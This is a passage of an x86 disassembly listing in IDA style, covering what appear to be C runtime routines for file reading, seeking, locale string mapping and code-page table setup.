mov eax, [esi+8]
mov [esi], eax
loc_41C1B7: ; CODE XREF: sub_41C178+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41C251
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41C23B
cmp eax, 0FFFFFFFFh
jz short loc_41C23B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41C210
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41C1F9
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_46C960[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41C1FE
; ---------------------------------------------------------------------------
loc_41C1F9: ; CODE XREF: sub_41C178+6Bj
mov edi, offset dword_43A5A0
loc_41C1FE: ; CODE XREF: sub_41C178+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41C210
or dh, 20h
mov [esi+0Ch], edx
loc_41C210: ; CODE XREF: sub_41C178+62j
; sub_41C178+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41C22D
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41C22D
test ch, 4
jnz short loc_41C22D
mov dword ptr [esi+18h], 1000h
loc_41C22D: ; CODE XREF: sub_41C178+9Fj
; sub_41C178+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C23B: ; CODE XREF: sub_41C178+55j
; sub_41C178+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41C24C: ; CODE XREF: sub_41C178+Aj
; sub_41C178+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41C178 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C251 proc near ; CODE XREF: sub_416A57+90p
; sub_41C178+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_46CA60
jnb loc_41C42E
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:46C960h[eax*4]
mov eax, dword_46C960[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41C42E
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41C306
test dl, 2
jnz short loc_41C306
test dl, 48h
jz short loc_41C2C6
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41C2C6
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41C2C6: ; CODE XREF: sub_41C251+56j
; sub_41C251+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_421068 ; ReadFile
test eax, eax
jnz short loc_41C319
call dword_421088 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41C301
mov dword_46B634, 9
mov dword_46B638, ecx
jmp loc_41C43F
; ---------------------------------------------------------------------------
loc_41C301: ; CODE XREF: sub_41C251+99j
cmp eax, 6Dh
jnz short loc_41C30D
loc_41C306: ; CODE XREF: sub_41C251+4Cj
; sub_41C251+51j
xor eax, eax
jmp loc_41C442
; ---------------------------------------------------------------------------
loc_41C30D: ; CODE XREF: sub_41C251+B3j
push eax
call sub_41CE74
pop ecx
jmp loc_41C43F
; ---------------------------------------------------------------------------
loc_41C319: ; CODE XREF: sub_41C251+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41C429
test edx, edx
jz short loc_41C33E
cmp byte ptr [edi], 0Ah
jnz short loc_41C33E
or al, 4
jmp short loc_41C340
; ---------------------------------------------------------------------------
loc_41C33E: ; CODE XREF: sub_41C251+E2j
; sub_41C251+E7j
and al, 0FBh
loc_41C340: ; CODE XREF: sub_41C251+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41C423
loc_41C358: ; CODE XREF: sub_41C251+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41C413
cmp al, 0Dh
jz short loc_41C374
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41C405
; ---------------------------------------------------------------------------
loc_41C374: ; CODE XREF: sub_41C251+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41C392
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41C389
add [ebp+arg_8], 2
jmp short loc_41C3E7
; ---------------------------------------------------------------------------
loc_41C389: ; CODE XREF: sub_41C251+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41C405
; ---------------------------------------------------------------------------
loc_41C392: ; CODE XREF: sub_41C251+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421068 ; ReadFile
test eax, eax
jnz short loc_41C3BA
call dword_421088 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41C401
loc_41C3BA: ; CODE XREF: sub_41C251+15Dj
cmp [ebp+var_C], 0
jz short loc_41C401
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41C3DC
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41C3E7
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41C405
; ---------------------------------------------------------------------------
loc_41C3DC: ; CODE XREF: sub_41C251+176j
cmp edi, [ebp+arg_4]
jnz short loc_41C3EC
cmp [ebp+var_1], 0Ah
jnz short loc_41C3EC
loc_41C3E7: ; CODE XREF: sub_41C251+136j
; sub_41C251+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41C404
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C251+18Ej
; sub_41C251+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41C447
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41C405
loc_41C401: ; CODE XREF: sub_41C251+167j
; sub_41C251+16Dj
mov byte ptr [edi], 0Dh
loc_41C404: ; CODE XREF: sub_41C251+199j
inc edi
loc_41C405: ; CODE XREF: sub_41C251+11Ej
; sub_41C251+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41C358
jmp short loc_41C423
; ---------------------------------------------------------------------------
loc_41C413: ; CODE XREF: sub_41C251+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41C423
or al, 2
mov [esi], al
loc_41C423: ; CODE XREF: sub_41C251+101j
; sub_41C251+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41C429: ; CODE XREF: sub_41C251+DAj
mov eax, [ebp+var_8]
jmp short loc_41C442
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C251+12j
; sub_41C251+39j
and dword_46B638, 0
mov dword_46B634, 9
loc_41C43F: ; CODE XREF: sub_41C251+ABj
; sub_41C251+C3j
or eax, 0FFFFFFFFh
loc_41C442: ; CODE XREF: sub_41C251+B7j
; sub_41C251+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41C251 endp
; =============== S U B R O U T I N E =======================================
sub_41C447 proc near ; CODE XREF: sub_416CDE+67p
; sub_417C57+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_46CA60
push esi
push edi
jnb short loc_41C4C9
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46C960h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41C4C9
push eax
call sub_41DD62
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41C48B
mov dword_46B634, 9
jmp short loc_41C4DA
; ---------------------------------------------------------------------------
loc_41C48B: ; CODE XREF: sub_41C447+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_4210AC ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41C4AB
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_41C4AD
; ---------------------------------------------------------------------------
loc_41C4AB: ; CODE XREF: sub_41C447+5Aj
xor eax, eax
loc_41C4AD: ; CODE XREF: sub_41C447+62j
test eax, eax
jz short loc_41C4BA
push eax
call sub_41CE74
pop ecx
jmp short loc_41C4DA
; ---------------------------------------------------------------------------
loc_41C4BA: ; CODE XREF: sub_41C447+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41C4DD
; ---------------------------------------------------------------------------
loc_41C4C9: ; CODE XREF: sub_41C447+Dj
; sub_41C447+2Aj
and dword_46B638, 0
mov dword_46B634, 9
loc_41C4DA: ; CODE XREF: sub_41C447+42j
; sub_41C447+71j
or eax, 0FFFFFFFFh
loc_41C4DD: ; CODE XREF: sub_41C447+80j
pop edi
pop esi
pop ebx
retn
sub_41C447 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C4E1 proc near ; CODE XREF: sub_416CDE+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41C4FD
mov [edi+4], ebx
loc_41C4FD: ; CODE XREF: sub_41C4E1+17j
push 1
push ebx
push esi
call sub_41C447
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41C56B
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41C522
sub eax, [edi+4]
jmp loc_41C634
; ---------------------------------------------------------------------------
loc_41C522: ; CODE XREF: sub_41C4E1+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41C55C
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_46C960[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41C573
mov edx, ecx
loc_41C54D: ; CODE XREF: sub_41C4E1+79j
cmp edx, eax
jnb short loc_41C573
cmp byte ptr [edx], 0Ah
jnz short loc_41C559
inc [ebp+var_8]
loc_41C559: ; CODE XREF: sub_41C4E1+73j
inc edx
jmp short loc_41C54D
; ---------------------------------------------------------------------------
loc_41C55C: ; CODE XREF: sub_41C4E1+50j
test dl, 80h
jnz short loc_41C573
mov dword_46B634, 16h
loc_41C56B: ; CODE XREF: sub_41C4E1+2Dj
or eax, 0FFFFFFFFh
jmp loc_41C634
; ---------------------------------------------------------------------------
loc_41C573: ; CODE XREF: sub_41C4E1+68j
; sub_41C4E1+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41C581
mov eax, [ebp+var_8]
jmp loc_41C634
; ---------------------------------------------------------------------------
loc_41C581: ; CODE XREF: sub_41C4E1+96j
test byte ptr [edi+0Ch], 1
jz loc_41C62C
mov edx, [edi+4]
test edx, edx
jnz short loc_41C59A
and [ebp+var_8], edx
jmp loc_41C62C
; ---------------------------------------------------------------------------
loc_41C59A: ; CODE XREF: sub_41C4E1+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46C960h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41C626
push 2
push 0
push [ebp+var_C]
call sub_41C447
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41C5ED
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41C5D8: ; CODE XREF: sub_41C4E1+104j
cmp eax, ecx
jnb short loc_41C5E7
cmp byte ptr [eax], 0Ah
jnz short loc_41C5E4
inc [ebp+arg_0]
loc_41C5E4: ; CODE XREF: sub_41C4E1+FEj
inc eax
jmp short loc_41C5D8
; ---------------------------------------------------------------------------
loc_41C5E7: ; CODE XREF: sub_41C4E1+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41C621
; ---------------------------------------------------------------------------
loc_41C5ED: ; CODE XREF: sub_41C4E1+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41C447
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41C614
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41C614
test ch, 4
jz short loc_41C617
loc_41C614: ; CODE XREF: sub_41C4E1+124j
; sub_41C4E1+12Cj
mov eax, [edi+18h]
loc_41C617: ; CODE XREF: sub_41C4E1+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41C621: ; CODE XREF: sub_41C4E1+10Aj
jz short loc_41C626
inc [ebp+arg_0]
loc_41C626: ; CODE XREF: sub_41C4E1+D9j
; sub_41C4E1:loc_41C621j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41C62C: ; CODE XREF: sub_41C4E1+A4j
; sub_41C4E1+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41C634: ; CODE XREF: sub_41C4E1+3Cj
; sub_41C4E1+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C4E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C639 proc near ; CODE XREF: sub_417033+A3p
; sub_41B539+A5p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4218A8
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_46B6C0, edi
jnz short loc_41C6AF
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_4218A0
mov esi, 100h
push esi
push edi
call dword_421194 ; LCMapStringW
test eax, eax
jz short loc_41C68D
mov dword_46B6C0, ebx
jmp short loc_41C6AF
; ---------------------------------------------------------------------------
loc_41C68D: ; CODE XREF: sub_41C639+4Aj
push edi
push edi
push ebx
push offset dword_43B198
push esi
push edi
call dword_421190 ; LCMapStringA
test eax, eax
jz loc_41C7C7
mov dword_46B6C0, 2
loc_41C6AF: ; CODE XREF: sub_41C639+2Ej
; sub_41C639+52j
cmp [ebp+arg_C], edi
jle short loc_41C6C4
push [ebp+arg_C]
push [ebp+arg_8]
call sub_420396
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41C6C4: ; CODE XREF: sub_41C639+79j
mov eax, dword_46B6C0
cmp eax, 2
jnz short loc_41C6EB
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190 ; LCMapStringA
jmp loc_41C7C9
; ---------------------------------------------------------------------------
loc_41C6EB: ; CODE XREF: sub_41C639+93j
cmp eax, 1
jnz loc_41C7C7
cmp [ebp+arg_18], edi
jnz short loc_41C701
mov eax, dword_46B6DC
mov [ebp+arg_18], eax
loc_41C701: ; CODE XREF: sub_41C639+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41C7C7
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41C75C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41C75C: ; CODE XREF: sub_41C639+10Ej
cmp [ebp+var_24], edi
jz short loc_41C7C7
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_41C7C7
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421194 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41C7C7
test byte ptr [ebp+arg_4+1], 4
jz short loc_41C7DB
cmp [ebp+arg_14], edi
jz loc_41C856
cmp esi, [ebp+arg_14]
jg short loc_41C7C7
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421194 ; LCMapStringW
test eax, eax
jnz loc_41C856
loc_41C7C7: ; CODE XREF: sub_41C639+66j
; sub_41C639+B5j ...
xor eax, eax
loc_41C7C9: ; CODE XREF: sub_41C639+ADj
; sub_41C639+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41C7DB: ; CODE XREF: sub_41C639+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41C80F
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41C80F: ; CODE XREF: sub_41C639+1C2j
cmp ebx, edi
jz short loc_41C7C7
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421194 ; LCMapStringW
test eax, eax
jz short loc_41C7C7
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41C836
push edi
push edi
jmp short loc_41C83C
; ---------------------------------------------------------------------------
loc_41C836: ; CODE XREF: sub_41C639+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41C83C: ; CODE XREF: sub_41C639+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_421138 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_41C7C7
loc_41C856: ; CODE XREF: sub_41C639+165j
; sub_41C639+188j
mov eax, esi
jmp loc_41C7C9
sub_41C639 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C85D proc near ; CODE XREF: sub_41CC21+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41C9F6 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_46CA64
mov [ebp+arg_0], esi
jz loc_41C9EA
xor ebx, ebx
cmp esi, ebx
jz loc_41C9E0
xor edx, edx
mov eax, offset dword_43A2C0
loc_41C891: ; CODE XREF: sub_41C85D+41j
cmp [eax], esi
jz short loc_41C907
add eax, 30h
inc edx
cmp eax, offset dword_43A3B0
jl short loc_41C891
lea eax, [ebp+var_18]
push eax
push esi
call dword_421198 ; GetCPInfo
cmp eax, 1
jnz loc_41C9D8
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46CB80
cmp [ebp+var_18], 1
mov dword_46CA64, esi
rep stosd
stosb
mov dword_46CC84, ebx
jbe loc_41C9C6
cmp [ebp+var_12], 0
jz loc_41C99C
lea ecx, [ebp+var_11]
loc_41C8E4: ; CODE XREF: sub_41C85D+139j
mov dl, [ecx]
test dl, dl
jz loc_41C99C
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41C8F5: ; CODE XREF: sub_41C85D+A8j
cmp eax, edx
ja loc_41C990
or byte_46CB81[eax], 4
inc eax
jmp short loc_41C8F5
; ---------------------------------------------------------------------------
loc_41C907: ; CODE XREF: sub_41C85D+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46CB80
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43A2D0[esi]
loc_41C923: ; CODE XREF: sub_41C85D+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41C956
loc_41C92A: ; CODE XREF: sub_41C85D+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41C956
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41C94F
mov edx, [ebp+var_4]
mov dl, byte_43A2B8[edx]
loc_41C944: ; CODE XREF: sub_41C85D+F0j
or byte_46CB81[eax], dl
inc eax
cmp eax, edi
jbe short loc_41C944
loc_41C94F: ; CODE XREF: sub_41C85D+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41C92A
loc_41C956: ; CODE XREF: sub_41C85D+CBj
; sub_41C85D+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41C923
mov eax, [ebp+arg_0]
mov dword_46CA7C, 1
push eax
mov dword_46CA64, eax
call sub_41CA40
lea esi, dword_43A2C4[esi]
mov edi, offset dword_46CA70
movsd
movsd
pop ecx
mov dword_46CC84, eax
movsd
jmp short loc_41C9E5
; ---------------------------------------------------------------------------
loc_41C990: ; CODE XREF: sub_41C85D+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41C8E4
loc_41C99C: ; CODE XREF: sub_41C85D+7Ej
; sub_41C85D+8Bj
push 1
pop eax
loc_41C99F: ; CODE XREF: sub_41C85D+14Fj
or byte_46CB81[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41C99F
push esi
call sub_41CA40
pop ecx
mov dword_46CC84, eax
mov dword_46CA7C, 1
jmp short loc_41C9CC
; ---------------------------------------------------------------------------
loc_41C9C6: ; CODE XREF: sub_41C85D+74j
mov dword_46CA7C, ebx
loc_41C9CC: ; CODE XREF: sub_41C85D+167j
xor eax, eax
mov edi, offset dword_46CA70
stosd
stosd
stosd
jmp short loc_41C9E5
; ---------------------------------------------------------------------------
loc_41C9D8: ; CODE XREF: sub_41C85D+51j
cmp dword_46B6E4, ebx
jz short loc_41C9EE
loc_41C9E0: ; CODE XREF: sub_41C85D+27j
call sub_41CA73
loc_41C9E5: ; CODE XREF: sub_41C85D+131j
; sub_41C85D+179j
call sub_41CA9C
loc_41C9EA: ; CODE XREF: sub_41C85D+1Dj
xor eax, eax
jmp short loc_41C9F1
; ---------------------------------------------------------------------------
loc_41C9EE: ; CODE XREF: sub_41C85D+181j
or eax, 0FFFFFFFFh
loc_41C9F1: ; CODE XREF: sub_41C85D+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41C85D endp
; =============== S U B R O U T I N E =======================================
sub_41C9F6 proc near ; CODE XREF: sub_41C85D+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_46B6E4, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41CA16
mov dword_46B6E4, 1
jmp dword_4211A0
; ---------------------------------------------------------------------------
loc_41CA16: ; CODE XREF: sub_41C9F6+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41CA2B
mov dword_46B6E4, 1
jmp dword_42119C
; ---------------------------------------------------------------------------
loc_41CA2B: ; CODE XREF: sub_41C9F6+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41CA3F
mov eax, dword_46B6DC
mov dword_46B6E4, 1
locret_41CA3F: ; CODE XREF: sub_41C9F6+38j
retn
sub_41C9F6 endp
; =============== S U B R O U T I N E =======================================
sub_41CA40 proc near ; CODE XREF: sub_41C85D+118p
; sub_41C85D+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41CA6D
sub eax, 4
jz short loc_41CA67
sub eax, 0Dh
jz short loc_41CA61
dec eax
jz short loc_41CA5B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA5B: ; CODE XREF: sub_41CA40+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41CA61: ; CODE XREF: sub_41CA40+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41CA67: ; CODE XREF: sub_41CA40+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41CA6D: ; CODE XREF: sub_41CA40+9j
mov eax, 411h
retn
sub_41CA40 endp
; =============== S U B R O U T I N E =======================================
sub_41CA73 proc near ; CODE XREF: sub_41C85D:loc_41C9E0p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_46CB80
rep stosd
stosb
xor eax, eax
mov edi, offset dword_46CA70
mov dword_46CA64, eax
mov dword_46CA7C, eax
mov dword_46CC84, eax
stosd
stosd
stosd
pop edi
retn
sub_41CA73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA9C proc near ; CODE XREF: sub_41C85D:loc_41C9E5p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_46CA64
call dword_421198 ; GetCPInfo
cmp eax, 1
jnz loc_41CBD5
xor eax, eax
mov esi, 100h
loc_41CAC6: ; CODE XREF: sub_41CA9C+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41CAC6
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41CB17
push ebx
push edi
lea edx, [ebp+var_D]
loc_41CAE5: ; CODE XREF: sub_41CA9C+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41CB0C
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41CB0C: ; CODE XREF: sub_41CA9C+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41CAE5
pop edi
pop ebx
loc_41CB17: ; CODE XREF: sub_41CA9C+42j
push 0
lea eax, [ebp+var_514]
push dword_46CC84
push dword_46CA64
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41DA93
push 0
lea eax, [ebp+var_214]
push dword_46CA64
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_46CC84
call sub_41C639
push 0
lea eax, [ebp+var_314]
push dword_46CA64
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_46CC84
call sub_41C639
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41CB92: ; CODE XREF: sub_41CA9C+135j
mov dx, [ecx]
test dl, 1
jz short loc_41CBB0
or byte_46CB81[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41CBA8: ; CODE XREF: sub_41CA9C+127j
mov byte_46CA80[eax], dl
jmp short loc_41CBCC
; ---------------------------------------------------------------------------
loc_41CBB0: ; CODE XREF: sub_41CA9C+FCj
test dl, 2
jz short loc_41CBC5
or byte_46CB81[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41CBA8
; ---------------------------------------------------------------------------
loc_41CBC5: ; CODE XREF: sub_41CA9C+117j
and byte_46CA80[eax], 0
loc_41CBCC: ; CODE XREF: sub_41CA9C+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41CB92
jmp short loc_41CC1E
; ---------------------------------------------------------------------------
loc_41CBD5: ; CODE XREF: sub_41CA9C+1Dj
xor eax, eax
mov esi, 100h
loc_41CBDC: ; CODE XREF: sub_41CA9C+180j
cmp eax, 41h
jb short loc_41CBFA
cmp eax, 5Ah
ja short loc_41CBFA
or byte_46CB81[eax], 10h
mov cl, al
add cl, 20h
loc_41CBF2: ; CODE XREF: sub_41CA9C+174j
mov byte_46CA80[eax], cl
jmp short loc_41CC19
; ---------------------------------------------------------------------------
loc_41CBFA: ; CODE XREF: sub_41CA9C+143j
; sub_41CA9C+148j
cmp eax, 61h
jb short loc_41CC12
cmp eax, 7Ah
ja short loc_41CC12
or byte_46CB81[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41CBF2
